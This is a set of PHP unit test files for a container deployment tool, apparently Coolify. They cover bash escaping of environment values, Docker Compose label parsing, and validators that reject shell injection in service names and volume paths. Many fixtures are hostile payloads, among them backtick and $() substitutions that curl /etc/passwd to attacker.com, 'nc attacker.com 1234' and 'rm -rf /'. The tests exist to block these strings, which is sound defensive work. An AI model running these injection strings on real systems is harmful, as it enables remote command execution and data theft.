$value = "it's \$weird with 'quotes' and \$variables";
$result = escapeBashEnvValue($value);
// Should escape the single quotes
expect($result)->toContain("'\\''");
// Should contain the dollar signs without expansion
expect($result)->toContain('$weird');
expect($result)->toContain('$variables');
});
test('stripping quotes from real_value before escaping (literal/multiline simulation)', function () {
// Simulate what happens with literal/multiline env vars
// Their real_value comes back wrapped in quotes: 'value'
$realValueWithQuotes = "'it's a value with 'quotes''";
// Strip outer quotes
$stripped = trim($realValueWithQuotes, "'");
expect($stripped)->toBe("it's a value with 'quotes");
// Then apply bash escaping
$result = escapeBashEnvValue($stripped);
// Should properly escape the internal single quotes
expect($result)->toContain("'\\''");
// Should start and end with quotes
expect($result)->toStartWith("'");
expect($result)->toEndWith("'");
});
test('handling literal env with special bash characters', function () {
// Simulate literal/multiline env with special characters
$realValueWithQuotes = "'#*#&412)\$&#*!%)!@&#)*~@!\&\$)@*#%^)*@#!)#@~321'";
// Strip outer quotes
$stripped = trim($realValueWithQuotes, "'");
// Apply bash escaping
$result = escapeBashEnvValue($stripped);
// Should be properly quoted for bash
expect($result)->toStartWith("'");
expect($result)->toEndWith("'");
// Should contain all the special characters
expect($result)->toContain('#*#&412)');
expect($result)->toContain('$&#*!%');
});
// ==================== Tests for escapeBashDoubleQuoted() ====================
test('escapeBashDoubleQuoted wraps simple values in double quotes', function () {
$result = escapeBashDoubleQuoted('simple_value');
expect($result)->toBe('"simple_value"');
});
test('escapeBashDoubleQuoted handles null values', function () {
$result = escapeBashDoubleQuoted(null);
expect($result)->toBe('""');
});
test('escapeBashDoubleQuoted handles empty values', function () {
$result = escapeBashDoubleQuoted('');
expect($result)->toBe('""');
});
test('escapeBashDoubleQuoted preserves valid variable references', function () {
$value = '$SOURCE_COMMIT';
$result = escapeBashDoubleQuoted($value);
// Should preserve $SOURCE_COMMIT for expansion
expect($result)->toBe('"$SOURCE_COMMIT"');
expect($result)->toContain('$SOURCE_COMMIT');
});
test('escapeBashDoubleQuoted preserves multiple variable references', function () {
$value = '$VAR1 and $VAR2 and $VAR_NAME_3';
$result = escapeBashDoubleQuoted($value);
// All valid variables should be preserved
expect($result)->toBe('"$VAR1 and $VAR2 and $VAR_NAME_3"');
});
test('escapeBashDoubleQuoted preserves brace expansion variables', function () {
$value = '${SOURCE_COMMIT} and ${VAR_NAME}';
$result = escapeBashDoubleQuoted($value);
// Brace variables should be preserved
expect($result)->toBe('"${SOURCE_COMMIT} and ${VAR_NAME}"');
});
test('escapeBashDoubleQuoted escapes invalid dollar patterns', function () {
// Invalid patterns: $&, $#, $$, $*, $@, $!, etc.
$value = '$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$';
$result = escapeBashDoubleQuoted($value);
// Invalid $ should be escaped
expect($result)->toContain('\\$&#');
expect($result)->toContain('\\$&@');
expect($result)->toContain('\\$#@');
// Should be wrapped in double quotes
expect($result)->toStartWith('"');
expect($result)->toEndWith('"');
});
test('escapeBashDoubleQuoted handles mixed valid and invalid dollar signs', function () {
$value = '$SOURCE_COMMIT and $&#invalid';
$result = escapeBashDoubleQuoted($value);
// Valid variable preserved, invalid $ escaped
expect($result)->toBe('"$SOURCE_COMMIT and \\$&#invalid"');
});
test('escapeBashDoubleQuoted escapes double quotes', function () {
$value = 'value with "double quotes"';
$result = escapeBashDoubleQuoted($value);
// Double quotes should be escaped
expect($result)->toBe('"value with \\"double quotes\\""');
});
test('escapeBashDoubleQuoted escapes backticks', function () {
$value = 'value with `backticks`';
$result = escapeBashDoubleQuoted($value);
// Backticks should be escaped (prevents command substitution)
expect($result)->toBe('"value with \\`backticks\\`"');
});
test('escapeBashDoubleQuoted escapes backslashes', function () {
$value = 'path\\to\\file';
$result = escapeBashDoubleQuoted($value);
// Backslashes should be escaped
expect($result)->toBe('"path\\\\to\\\\file"');
});
test('escapeBashDoubleQuoted handles positional parameters', function () {
$value = 'args: $0 $1 $2 $9';
$result = escapeBashDoubleQuoted($value);
// Positional parameters should be preserved
expect($result)->toBe('"args: $0 $1 $2 $9"');
});
test('escapeBashDoubleQuoted handles special variable $_', function () {
$value = 'last arg: $_';
$result = escapeBashDoubleQuoted($value);
// $_ should be preserved
expect($result)->toBe('"last arg: $_"');
});
test('escapeBashDoubleQuoted handles complex real-world scenario', function () {
// Mix of valid vars, invalid $, quotes, and special chars
$value = '$SOURCE_COMMIT with $&#special and "quotes" and `cmd`';
$result = escapeBashDoubleQuoted($value);
// Valid var preserved, invalid $ escaped, quotes/backticks escaped
expect($result)->toBe('"$SOURCE_COMMIT with \\$&#special and \\"quotes\\" and \\`cmd\\`"');
});
test('escapeBashDoubleQuoted allows expansion in bash', function () {
// This is a logical test - the actual expansion happens in bash
// We're verifying the format is correct
$value = '$SOURCE_COMMIT';
$result = escapeBashDoubleQuoted($value);
// Should be: "$SOURCE_COMMIT" which bash will expand
expect($result)->toBe('"$SOURCE_COMMIT"');
expect($result)->not->toContain('\\$SOURCE');
});
test('comparison between single and double quote escaping', function () {
$value = '$SOURCE_COMMIT';
$singleQuoted = escapeBashEnvValue($value);
$doubleQuoted = escapeBashDoubleQuoted($value);
// Single quotes prevent expansion
expect($singleQuoted)->toBe("'\$SOURCE_COMMIT'");
// Double quotes allow expansion
expect($doubleQuoted)->toBe('"$SOURCE_COMMIT"');
// They're different!
expect($singleQuoted)->not->toBe($doubleQuoted);
});

View file

@ -0,0 +1,79 @@
<?php
/**
* Unit tests to verify that docker compose label parsing correctly handles
* labels defined as YAML key-value pairs (e.g., "traefik.enable: true")
* which get parsed as arrays instead of strings.
*
* This test verifies the fix for the "preg_match(): Argument #2 ($subject) must
* be of type string, array given" error.
*/
it('ensures label parsing handles array values from YAML', function () {
// Read the parseDockerComposeFile function from shared.php
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
// Check that array handling is present before str() call
expect($sharedFile)
->toContain('// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)')
->toContain('if (is_array($serviceLabel)) {');
});
it('ensures label parsing converts array values to strings', function () {
// Read the parseDockerComposeFile function from shared.php
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
// Check that array to string conversion exists
expect($sharedFile)
->toContain('// Convert array values to strings')
->toContain('if (is_array($removedLabel)) {')
->toContain('$removedLabel = (string) collect($removedLabel)->first();');
});
it('verifies label parsing array check occurs before preg_match', function () {
// Read the parseDockerComposeFile function from shared.php
$sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
// Get the position of array check and str() call
$arrayCheckPos = strpos($sharedFile, 'if (is_array($serviceLabel)) {');
$strCallPos = strpos($sharedFile, "str(\$serviceLabel)->contains('=')");
// Ensure array check comes before str() call
expect($arrayCheckPos)
->toBeLessThan($strCallPos)
->toBeGreaterThan(0);
});
it('ensures traefik middleware parsing handles array values in docker.php', function () {
// Read the fqdnLabelsForTraefik function from docker.php
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
// Check that array handling is present before preg_match
expect($dockerFile)
->toContain('// Handle array values from YAML parsing (e.g., "traefik.enable: true" becomes an array)')
->toContain('if (is_array($item)) {');
});
it('ensures traefik middleware parsing checks string type before preg_match in docker.php', function () {
// Read the fqdnLabelsForTraefik function from docker.php
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
// Check that string type check exists
expect($dockerFile)
->toContain('if (! is_string($item)) {')
->toContain('return null;');
});
it('verifies array check occurs before preg_match in traefik middleware parsing', function () {
// Read the fqdnLabelsForTraefik function from docker.php
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
// Get the position of array check and preg_match call
$arrayCheckPos = strpos($dockerFile, 'if (is_array($item)) {');
$pregMatchPos = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item");
// Ensure array check comes before preg_match call (find first occurrence after array check)
$pregMatchAfterArrayCheck = strpos($dockerFile, "preg_match('/traefik\\.http\\.middlewares\\.(.*?)(\\.|$)/', \$item", $arrayCheckPos);
expect($arrayCheckPos)
->toBeLessThan($pregMatchAfterArrayCheck)
->toBeGreaterThan(0);
});

View file

@ -0,0 +1,200 @@
<?php
test('validateDockerComposeForInjection blocks malicious service names', function () {
$maliciousCompose = <<<'YAML'
services:
evil`curl attacker.com`:
image: nginx:latest
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service name');
});
test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/pwn`curl attacker.com`:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- type: bind
source: '/tmp/pwn`curl attacker.com`'
target: /app
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '$(cat /etc/passwd):/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection blocks pipes in service names', function () {
$maliciousCompose = <<<'YAML'
services:
web|cat /etc/passwd:
image: nginx:latest
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker Compose service name');
});
test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/test; rm -rf /:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection allows legitimate compose files', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- /var/www/html:/usr/share/nginx/html
- app-data:/data
db:
image: postgres:15
volumes:
- db-data:/var/lib/postgresql/data
volumes:
app-data:
db-data:
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection allows environment variables in volumes', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '${DATA_PATH}:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '${DATA:-$(cat /etc/passwd)}:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection requires services section', function () {
$invalidCompose = <<<'YAML'
version: '3'
networks:
mynet:
YAML;
expect(fn () => validateDockerComposeForInjection($invalidCompose))
->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
});
test('validateDockerComposeForInjection handles empty volumes array', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes: []
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
$maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\"";
// YAML parser will reject this before our validation (which is good!)
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class);
});
test('validateDockerComposeForInjection blocks redirections in volumes', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/test > /etc/passwd:/app'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection validates volume targets', function () {
$maliciousCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- '/tmp/safe:/app`curl attacker.com`'
YAML;
expect(fn () => validateDockerComposeForInjection($maliciousCompose))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('validateDockerComposeForInjection handles multiple services', function () {
$validCompose = <<<'YAML'
services:
web:
image: nginx:latest
volumes:
- /var/www:/usr/share/nginx/html
api:
image: node:18
volumes:
- /app/src:/usr/src/app
db:
image: postgres:15
YAML;
expect(fn () => validateDockerComposeForInjection($validCompose))
->not->toThrow(Exception::class);
});

View file

@ -0,0 +1,242 @@
<?php
use App\Models\Service;
use Symfony\Component\Yaml\Yaml;
test('service names with backtick injection are rejected', function () {
$maliciousCompose = <<<'YAML'
services:
'evil`whoami`':
image: alpine
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'backtick');
});
test('service names with command substitution are rejected', function () {
$maliciousCompose = <<<'YAML'
services:
'evil$(cat /etc/passwd)':
image: alpine
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'command substitution');
});
test('service names with pipe injection are rejected', function () {
$maliciousCompose = <<<'YAML'
services:
'web | nc attacker.com 1234':
image: nginx
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'pipe');
});
test('service names with semicolon injection are rejected', function () {
$maliciousCompose = <<<'YAML'
services:
'web; curl attacker.com':
image: nginx
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'separator');
});
test('service names with ampersand injection are rejected', function () {
$maliciousComposes = [
"services:\n 'web & curl attacker.com':\n image: nginx",
"services:\n 'web && curl attacker.com':\n image: nginx",
];
foreach ($maliciousComposes as $compose) {
$parsed = Yaml::parse($compose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class, 'operator');
}
});
test('service names with redirection are rejected', function () {
$maliciousComposes = [
"services:\n 'web > /dev/null':\n image: nginx",
"services:\n 'web < input.txt':\n image: nginx",
];
foreach ($maliciousComposes as $compose) {
$parsed = Yaml::parse($compose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class);
}
});
test('legitimate service names are accepted', function () {
$legitCompose = <<<'YAML'
services:
web:
image: nginx
api:
image: node:20
database:
image: postgres:15
redis-cache:
image: redis:7
app_server:
image: python:3.11
my-service.com:
image: alpine
YAML;
$parsed = Yaml::parse($legitCompose);
foreach ($parsed['services'] as $serviceName => $service) {
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->not->toThrow(Exception::class);
}
});
test('service names used in docker network connect command', function () {
// This demonstrates the actual vulnerability from StartService.php:41
$maliciousServiceName = 'evil`curl attacker.com`';
$uuid = 'test-uuid-123';
$network = 'coolify';
// Without validation, this would create a dangerous command
$dangerousCommand = "docker network connect --alias {$maliciousServiceName}-{$uuid} $network {$maliciousServiceName}-{$uuid}";
expect($dangerousCommand)->toContain('`curl attacker.com`');
// With validation, the service name should be rejected
expect(fn () => validateShellSafePath($maliciousServiceName, 'service name'))
->toThrow(Exception::class);
});
test('service name from the vulnerability report example', function () {
// The example could also target service names
$maliciousCompose = <<<'YAML'
services:
'coolify`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`':
image: alpine
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceName = array_key_first($parsed['services']);
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->toThrow(Exception::class);
});
test('service names with newline injection are rejected', function () {
$maliciousServiceName = "web\ncurl attacker.com";
expect(fn () => validateShellSafePath($maliciousServiceName, 'service name'))
->toThrow(Exception::class, 'newline');
});
test('service names with variable substitution patterns are rejected', function () {
$maliciousNames = [
'web${PATH}',
'app${USER}',
'db${PWD}',
];
foreach ($maliciousNames as $name) {
expect(fn () => validateShellSafePath($name, 'service name'))
->toThrow(Exception::class);
}
});
test('service names provide helpful error messages', function () {
$maliciousServiceName = 'evil`command`';
try {
validateShellSafePath($maliciousServiceName, 'service name');
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('service name');
expect($e->getMessage())->toContain('backtick');
}
});
test('multiple malicious services in one compose file', function () {
$maliciousCompose = <<<'YAML'
services:
'web`whoami`':
image: nginx
'api$(cat /etc/passwd)':
image: node
database:
image: postgres
'cache; curl attacker.com':
image: redis
YAML;
$parsed = Yaml::parse($maliciousCompose);
$serviceNames = array_keys($parsed['services']);
// First and second service names should fail
expect(fn () => validateShellSafePath($serviceNames[0], 'service name'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath($serviceNames[1], 'service name'))
->toThrow(Exception::class);
// Third service name should pass (legitimate)
expect(fn () => validateShellSafePath($serviceNames[2], 'service name'))
->not->toThrow(Exception::class);
// Fourth service name should fail
expect(fn () => validateShellSafePath($serviceNames[3], 'service name'))
->toThrow(Exception::class);
});
test('service names with spaces are allowed', function () {
// Spaces themselves are not dangerous - shell escaping handles them
// Docker Compose might not allow spaces in service names anyway, but we shouldn't reject them
$serviceName = 'my service';
expect(fn () => validateShellSafePath($serviceName, 'service name'))
->not->toThrow(Exception::class);
});
test('common Docker Compose service naming patterns are allowed', function () {
$commonNames = [
'web',
'api',
'database',
'redis',
'postgres',
'mysql',
'mongodb',
'app-server',
'web_frontend',
'api.backend',
'db-01',
'worker_1',
'service123',
];
foreach ($commonNames as $name) {
expect(fn () => validateShellSafePath($name, 'service name'))
->not->toThrow(Exception::class);
}
});

View file

@ -0,0 +1,150 @@
<?php
test('allows safe paths without special characters', function () {
$safePaths = [
'/var/lib/data',
'./relative/path',
'named-volume',
'my_volume_123',
'/home/user/app/data',
'C:/Windows/Path',
'/path-with-dashes',
'/path_with_underscores',
'volume.with.dots',
];
foreach ($safePaths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
}
});
test('blocks backtick command substitution', function () {
$path = '/tmp/pwn`curl attacker.com`';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'backtick');
});
test('blocks dollar-paren command substitution', function () {
$path = '/tmp/pwn$(cat /etc/passwd)';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'command substitution');
});
test('blocks pipe operators', function () {
$path = '/tmp/file | nc attacker.com 1234';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'pipe');
});
test('blocks semicolon command separator', function () {
$path = '/tmp/file; curl attacker.com';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'separator');
});
test('blocks ampersand operators', function () {
$paths = [
'/tmp/file & curl attacker.com',
'/tmp/file && curl attacker.com',
];
foreach ($paths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'operator');
}
});
test('blocks redirection operators', function () {
$paths = [
'/tmp/file > /dev/null',
'/tmp/file < input.txt',
'/tmp/file >> output.log',
];
foreach ($paths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class);
}
});
test('blocks newline command separator', function () {
$path = "/tmp/file\ncurl attacker.com";
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'newline');
});
test('blocks tab character as token separator', function () {
$path = "/tmp/file\tcurl attacker.com";
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'tab');
});
test('blocks complex command injection with the example from issue', function () {
$path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';
expect(fn () => validateShellSafePath($path, 'volume source'))
->toThrow(Exception::class);
});
test('blocks nested command substitution', function () {
$path = '/tmp/$(echo $(whoami))';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'command substitution');
});
test('blocks variable substitution patterns', function () {
$paths = [
'/tmp/${PWD}',
'/tmp/${PATH}',
'data/${USER}',
];
foreach ($paths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class);
}
});
test('provides context-specific error messages', function () {
$path = '/tmp/evil`command`';
try {
validateShellSafePath($path, 'volume source');
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('volume source');
}
try {
validateShellSafePath($path, 'service name');
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('service name');
}
});
test('handles empty strings safely', function () {
expect(fn () => validateShellSafePath('', 'test'))->not->toThrow(Exception::class);
});
test('allows paths with spaces', function () {
// Spaces themselves are not dangerous in properly quoted shell commands
// The escaping should be handled elsewhere (e.g., escapeshellarg)
$path = '/path/with spaces/file';
expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
});
test('blocks multiple attack vectors in one path', function () {
$path = '/tmp/evil`curl attacker.com`; rm -rf /; echo "pwned" > /tmp/hacked';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class);
});

View file

@ -0,0 +1,270 @@
<?php
use Symfony\Component\Yaml\Yaml;
test('demonstrates array-format volumes from YAML parsing', function () {
// This is how Docker Compose long syntax looks in YAML
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: ./data
target: /app/data
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$volumes = $parsed['services']['web']['volumes'];
// Verify this creates an array format
expect($volumes[0])->toBeArray();
expect($volumes[0])->toHaveKey('type');
expect($volumes[0])->toHaveKey('source');
expect($volumes[0])->toHaveKey('target');
});
test('malicious array-format volume with backtick injection', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '/tmp/pwn`curl attacker.com`'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$volumes = $parsed['services']['evil']['volumes'];
// The malicious volume is now an array
expect($volumes[0])->toBeArray();
expect($volumes[0]['source'])->toContain('`');
// When applicationParser or serviceParser processes this,
// it should throw an exception due to our validation
$source = $volumes[0]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class, 'backtick');
});
test('malicious array-format volume with command substitution', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '/tmp/pwn$(cat /etc/passwd)'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['evil']['volumes'][0]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class, 'command substitution');
});
test('malicious array-format volume with pipe injection', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '/tmp/file | nc attacker.com 1234'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['evil']['volumes'][0]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class, 'pipe');
});
test('malicious array-format volume with semicolon injection', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '/tmp/file; curl attacker.com'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['evil']['volumes'][0]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class, 'separator');
});
test('exact example from security report in array format', function () {
$dockerComposeYaml = <<<'YAML'
services:
coolify:
image: alpine
volumes:
- type: bind
source: '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['coolify']['volumes'][0]['source'];
// This should be caught by validation
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class);
});
test('legitimate array-format volumes are allowed', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: ./data
target: /app/data
- type: bind
source: /var/lib/data
target: /data
- type: volume
source: my-volume
target: /app/volume
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$volumes = $parsed['services']['web']['volumes'];
// All these legitimate volumes should pass validation
foreach ($volumes as $volume) {
$source = $volume['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->not->toThrow(Exception::class);
}
});
test('array-format with environment variables', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: ${DATA_PATH}
target: /app/data
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['web']['volumes'][0]['source'];
// Simple environment variables should be allowed
expect($source)->toBe('${DATA_PATH}');
// Our validation allows simple env var references
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
expect($isSimpleEnvVar)->toBe(1); // preg_match returns 1 on success, not true
});
test('array-format with safe environment variable default', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: '${DATA_PATH:-./data}'
target: /app/data
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['web']['volumes'][0]['source'];
// Parse correctly extracts the source value
expect($source)->toBe('${DATA_PATH:-./data}');
// Safe environment variable with benign default should be allowed
// The pre-save validation skips env vars with safe defaults
expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
->not->toThrow(Exception::class);
});
test('array-format with malicious environment variable default', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '${VAR:-/tmp/evil`whoami`}'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['evil']['volumes'][0]['source'];
// This contains backticks and should fail validation
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class);
});
test('mixed string and array format volumes in same compose', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- './safe/data:/app/data'
- type: bind
source: ./another/safe/path
target: /app/other
- '/tmp/evil`whoami`:/app/evil'
- type: bind
source: '/tmp/evil$(id)'
target: /app/evil2
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$volumes = $parsed['services']['web']['volumes'];
// String format malicious volume (index 2)
expect(fn () => parseDockerVolumeString($volumes[2]))
->toThrow(Exception::class);
// Array format malicious volume (index 3)
$source = $volumes[3]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class);
// Legitimate volumes should work (indexes 0 and 1)
expect(fn () => parseDockerVolumeString($volumes[0]))
->not->toThrow(Exception::class);
$safeSource = $volumes[1]['source'];
expect(fn () => validateShellSafePath($safeSource, 'volume source'))
->not->toThrow(Exception::class);
});
test('array-format target path injection is also blocked', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: ./data
target: '/app`whoami`'
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$target = $parsed['services']['evil']['volumes'][0]['target'];
// Target paths should also be validated
expect(fn () => validateShellSafePath($target, 'volume target'))
->toThrow(Exception::class, 'backtick');
});

View file

@ -0,0 +1,186 @@
<?php
test('parseDockerVolumeString rejects command injection in source path', function () {
$maliciousVolume = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`:/app';
expect(fn () => parseDockerVolumeString($maliciousVolume))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('parseDockerVolumeString rejects backtick injection', function () {
$maliciousVolumes = [
'`whoami`:/app',
'/tmp/evil`id`:/data',
'./data`nc attacker.com 1234`:/app/data',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString rejects dollar-paren injection', function () {
$maliciousVolumes = [
'$(whoami):/app',
'/tmp/evil$(cat /etc/passwd):/data',
'./data$(curl attacker.com):/app/data',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString rejects pipe injection', function () {
$maliciousVolume = '/tmp/file | nc attacker.com 1234:/app';
expect(fn () => parseDockerVolumeString($maliciousVolume))
->toThrow(Exception::class);
});
test('parseDockerVolumeString rejects semicolon injection', function () {
$maliciousVolume = '/tmp/file; curl attacker.com:/app';
expect(fn () => parseDockerVolumeString($maliciousVolume))
->toThrow(Exception::class);
});
test('parseDockerVolumeString rejects ampersand injection', function () {
$maliciousVolumes = [
'/tmp/file & curl attacker.com:/app',
'/tmp/file && curl attacker.com:/app',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString accepts legitimate volume definitions', function () {
$legitimateVolumes = [
'gitea:/data',
'./data:/app/data',
'/var/lib/data:/data',
'/etc/localtime:/etc/localtime:ro',
'my-app_data:/var/lib/app-data',
'C:/Windows/Data:/data',
'/path-with-dashes:/app',
'/path_with_underscores:/app',
'volume.with.dots:/data',
];
foreach ($legitimateVolumes as $volume) {
$result = parseDockerVolumeString($volume);
expect($result)->toBeArray();
expect($result)->toHaveKey('source');
expect($result)->toHaveKey('target');
}
});
test('parseDockerVolumeString accepts simple environment variables', function () {
$volumes = [
'${DATA_PATH}:/data',
'${VOLUME_PATH}:/app',
'${MY_VAR_123}:/var/lib/data',
];
foreach ($volumes as $volume) {
$result = parseDockerVolumeString($volume);
expect($result)->toBeArray();
expect($result['source'])->not->toBeNull();
}
});
